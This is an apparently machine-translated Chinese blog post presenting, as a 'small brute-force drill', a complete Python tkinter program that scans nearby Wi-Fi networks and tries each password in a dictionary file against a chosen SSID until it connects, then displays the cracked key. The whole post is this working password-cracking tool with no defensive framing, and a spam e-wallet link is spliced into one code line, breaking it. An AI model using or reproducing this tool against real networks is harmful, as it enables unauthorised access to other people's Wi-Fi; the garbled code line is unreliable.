关于python:小小爆破演练hydraburpsuitepywifi

36次阅读

共计 4480 个字符,预计需要花费 12 分钟才能阅读完成。

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox
class MY_GUI:

def __init__(self,windows):
    self.init_window_name = windows
    self.init_window_name.title("WIFISuite")
    self.init_window_name.resizable(width=False,height=False)
    self.get_value = StringVar()
    self.get_wifi_value = StringVar()
    self.get_wifimm_value = StringVar()
    self.wifi = pywifi.PyWiFi()
    self.iface = self.wifi.interfaces()[0]
    self.iface.disconnect()
    time.sleep(1)
    assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
    print("hello welcome!!!")
    return '(WIFI:%s,%s)' % (self.wifi,self.iface.name())
def set_init_window(self):
    self.init_window_name.geometry('+500+200')
    labelframe = LabelFrame(width=400, height=200,text="配置")
    labelframe.grid(column=0, row=0, padx=10, pady=10)
    self.search = Button(labelframe,text="搜寻左近 WiFi",command=self.scans_wifi_list).grid(column=0,row=0)
    self.pojie = Button(labelframe,text="开始破解",command=self.readPassWord).grid(column=1,row=0)
    self.label = Label(labelframe,text="目录门路:").grid(column=0,row=1)
    self.path = Entry(labelframe,width=12,textvariable = self.get_value).grid(column=1,row=1)
    self.file = Button(labelframe,text="增加明码文件目录",command=self.add_mm_file).grid(column=2,row=1)
    self.wifi_text = Label(labelframe,text="WiFi 账号:").grid(column=0,row=2)
    self.wifi_input = Entry(labelframe,width=12,textvariable = self.get_wifi_value).grid(column=1,row=2)
    self.wifi_mm_text = Label(labelframe,text="WiFi 明码:").grid(column=2,row=2)
    self.wifi_mm_input = Entry(labelframe,width=10,textvariable = self.get_wifimm_value).grid(column=3,row=2,sticky=W)
    self.wifi_labelframe = LabelFrame(text="wifi 列表")
    self.wifi_labelframe.grid(column=0, row=3,columnspan=4,sticky=NSEW)
    # 定义树形构造与滚动条
    self.wifi_tree = ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a", "b", "c", "d"))
    self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
    self.wifi_tree.configure(yscrollcommand=self.vbar.set)
    # 表格的题目
    self.wifi_tree.column("a", width=50, anchor="center")
    self.wifi_tree.column("b", width=100, anchor="center")
    self.wifi_tree.column("c", width=100, anchor="center")
    self.wifi_tree.column("d", [ 电子钱包](https://www.gendan5.com/wallet.html)width=100, anchor="center")
    self.wifi_tree.heading("a", text="WiFiID")
    self.wifi_tree.heading("b", text="SSID")
    self.wifi_tree.heading("c", text="BSSID")
    self.wifi_tree.heading("d", text="signal")
    #绑定表格事件
    self.wifi_tree.grid(row=4,column=0,sticky=NSEW)
    self.wifi_tree.bind("<Double-1>", self.onDBClick)
    self.vbar.grid(row=4, column=1, sticky=NS)
def scans_wifi_list(self):  # 扫描四周 wifi 列表
    #开始扫描
    print("扫描中。。。。。。")
    self.iface.scan()
    time.sleep(15)
    #在若干秒后获取扫描后果
    scanres = self.iface.scan_results()
    #统计左近被发现的热点数量
    nums = len(scanres)
    print("数量: %s"%(nums))
    # 理论数据
    self.show_scans_wifi_list(scanres)
    return scanres
#显示 wifi 列表
def show_scans_wifi_list(self,scans_res):
    for index,wifi_info in enumerate(scans_res):
        self.wifi_tree.insert("",'end',values=(index + 1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))
#增加明码文件目录
def add_mm_file(self):
    self.filename = tkinter.filedialog.askopenfilename()
    self.get_value.set(self.filename)
#Treeview 绑定事件
def onDBClick(self,event):
    self.sels= event.widget.selection()
    self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])
#读取明码字典,进行匹配
def readPassWord(self):
    self.getFilePath = self.get_value.get()
    self.get_wifissid = self.get_wifi_value.get()
    pwdfilehander=open(self.getFilePath,"r",errors="ignore")
    while True:
            try:
                self.pwdStr=pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1=self.connect(self.pwdStr,self.get_wifissid)
                if self.bool1:
                    self.res = "=== 正确 ===  wifi 名:%s  匹配明码:%s"%(self.get_wifissid,self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提醒', '破解胜利!!!')
                    print(self.res)
                    break
                else:
                    self.res = "--- 谬误 --- wifi 名:%s 匹配明码:%s"%(self.get_wifissid,self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue
#对 wifi 和明码进行匹配
def connect(self,pwd_Str,wifi_ssid):
    #创立 wifi 链接文件
    self.profile = pywifi.Profile()
    self.profile.ssid =wifi_ssid
    self.profile.auth = const.AUTH_ALG_OPEN
    self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
    self.profile.cipher = const.CIPHER_TYPE_CCMP
    self.profile.key = pwd_Str #明码
    self.iface.remove_all_network_profiles()
    self.tmp_profile = self.iface.add_network_profile(self.profile)
    self.iface.connect(self.tmp_profile)
    time.sleep(5)
    if self.iface.status() == const.IFACE_CONNECTED:
        isOK=True
    else:
        isOK=False
    self.iface.disconnect() #断开
    time.sleep(1)
    #查看断开状态
    assert self.iface.status() in\
            [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
    return isOK

if __name__==”__main__”:

window = Tk()
GUI = MY_GUI(window)
GUI.set_init_window()
print(GUI)
window.mainloop()

正文完
 0